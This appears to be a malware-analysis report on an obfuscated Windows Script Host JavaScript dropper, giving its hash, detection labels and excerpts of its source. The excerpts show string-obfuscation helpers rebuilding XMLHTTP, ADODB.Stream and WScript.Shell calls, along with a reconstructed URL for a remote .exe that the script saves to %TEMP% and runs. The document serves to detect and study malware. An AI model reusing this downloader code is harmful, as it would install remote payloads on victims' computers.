20160328_35a588410b2df1bfbae8feabae631217.js
Obfuscated file exfiltration and execution
WSH dropper with split-join string reconstructionString deobfuscation routine
SHA-256292068a530b00cfdd3f2b3fbf43d2cde73b4764df10ba3dc06e48b97ff91db91
MaleculeK(Li)O₂(CAs₅)H₂(CmDb₅)Md
Evidence
1:317… fer.reject ); } else { newDefer[ tuple[ 0 ] + \"With\" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); },";
2String.prototype.twofold = function () { aa = this; return aa.charAt(1 * 0 / 1); };
3String.prototype.furry = function () { aa = this; return aa.split(")").join("").split("(").join("").split("9").join(""); };
4
5var ekzlje = ["()A()()()c()t()()"+"i()(v())((e9))(X))"+("rtJKIkgeB","visitor","movie",")(O())b())")+")j(())e)c))t)", ("translators","recognize","E")+"x)p"+"an)d)E"+("cancellation","bowling","loyally","functional","n)v")+"i)r"+("nested","touring","on)me)nt")+"S)t"+")ri"+"ngs", ("wanted","anymore","DvGEFDanS","apothecary",")")+")%"+"T)E"+("cinder","vendor","raspberry","M)P)%"), ""+("permit","applaud",").")+"e)x)e", "R)"+("stupid","entrails","un)"), "M)"+("pagoda","festivity","places","lawful)ly","S)X")+("univers)ality","miller","animates","M)L2).")+"X)M"+"L)HT)TP", "W)"+"S)c"+("nonco)mmissioned","bases","r)i")+("crosswise","inception","pt).)Sh)e")+("ebaGaS","gelatinous","fingers","l)l")];
6UKvSTjCw …
16:17… a promise for this deferred If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {};";
17var qOgIhFXi = EkbrCAD[""+(("ChIqADd", "ladle", "wrapping", "misshapen", ""+"9"+("arbitration","rigorous","999"))+kpTEmxgS+"))").furry()](("(("+""+"9"+("pension","elevate","999")+ekzlje.shift()+"))").furry());
18FVXmJc = " Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ];";
19
20failse = (("EoBVLD", "guest", "hawaiian", "relentless", "EuyuIS …
31:103… ry.isFunction( subordinate.promise ) ) ? length : 0,";
32 if (AyLJcpnc.status == 200) {
33 var qeBhJRt = new GLNpeWx((("abbreviated","crispin","consign","viscount","")+"A"+("asset","oregon","pO")+"DB." + ""+("liveliness","wrist","sturgeon","S")+"tr"+("delegation","bryant","eam")).replace("p", "D"));
34 qeBhJRt[("tombstone","lunar","jennifer","mirror","")+"o"+"pen"]();
35 gsjhFHl = " Handle state if ( stateString ) { list.add( function() {";
36 qeBhJRt.type = 0 + 3 - 2;
37 S …
37:20… state = [ resolved | rejected ] state = stateString;";
38 qeBhJRt[("guard","chafe","unsaid","colonization","w")+"ri"+"te"](AyLJcpnc[("compunction","swamped","")+"R"+"es"+("digestive","spree","pon") + asthmas + "e"+("mistook","molest","rubble","gaoler","Bo")+"dy"]);
39 ovgusEtN = " [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); ";
40 qeBhJRt[(snapshot + ("beyond","terrifying","o")+"Di"+"ti"+"on").replace("D", asthmas)] = 0;
41 dVAlJQnViul = "} deferred[ resolve | reject | notify ] deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[ 0 ] + \"With\" ] = list.fireWith; } );";
42 qeBhJRt["sav"+"eT"+("resist","obtainable","oF")+"ile"](lamplight, 2);
43 fXGXpRPRu = " Make the deferred a promise promise.promise( deferred );";
44 qeBhJRt.close();
45 SfaDSgPN = " Call given func if any if ( func ) { func.call( deferred, deferred ); ";
46 EkbrCAD[ekzlje.shift().furry()](lamplight, 1, "VGcnelQgLf" === "vaQwoAkxKK"); CxKRBTM = " } else if ( !( --remaining ) ) EtcLSzY{ deferred.resolveWith( contexts, values ); } }; },";
47 }
48
49} catch (BfoaNF) { };
50
51 yvdMDUzG = " Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { conte …
51:201… ? slice.call( arguments ) : value; if ( values === progressValues ) { deferred.notifyWith( contexts, values );";
52}
53torpedo("h"+"tt"+("anybody","basename","p:")+"//"+"sand"+("scores","railway","claire","bo")+"x."+"bo"+("supple","group","tt")+("opprobrious","retrospective","lest")+("spray","discharging","formative","screensaver","or")+"e."+("narrator","unbiased","co")+"m/"+"76"+("appreciative","arterial","fretted","cartilage","5f")+"46"+"vb.e"+"xe","tNfjXzdFkJ");
54 RyV …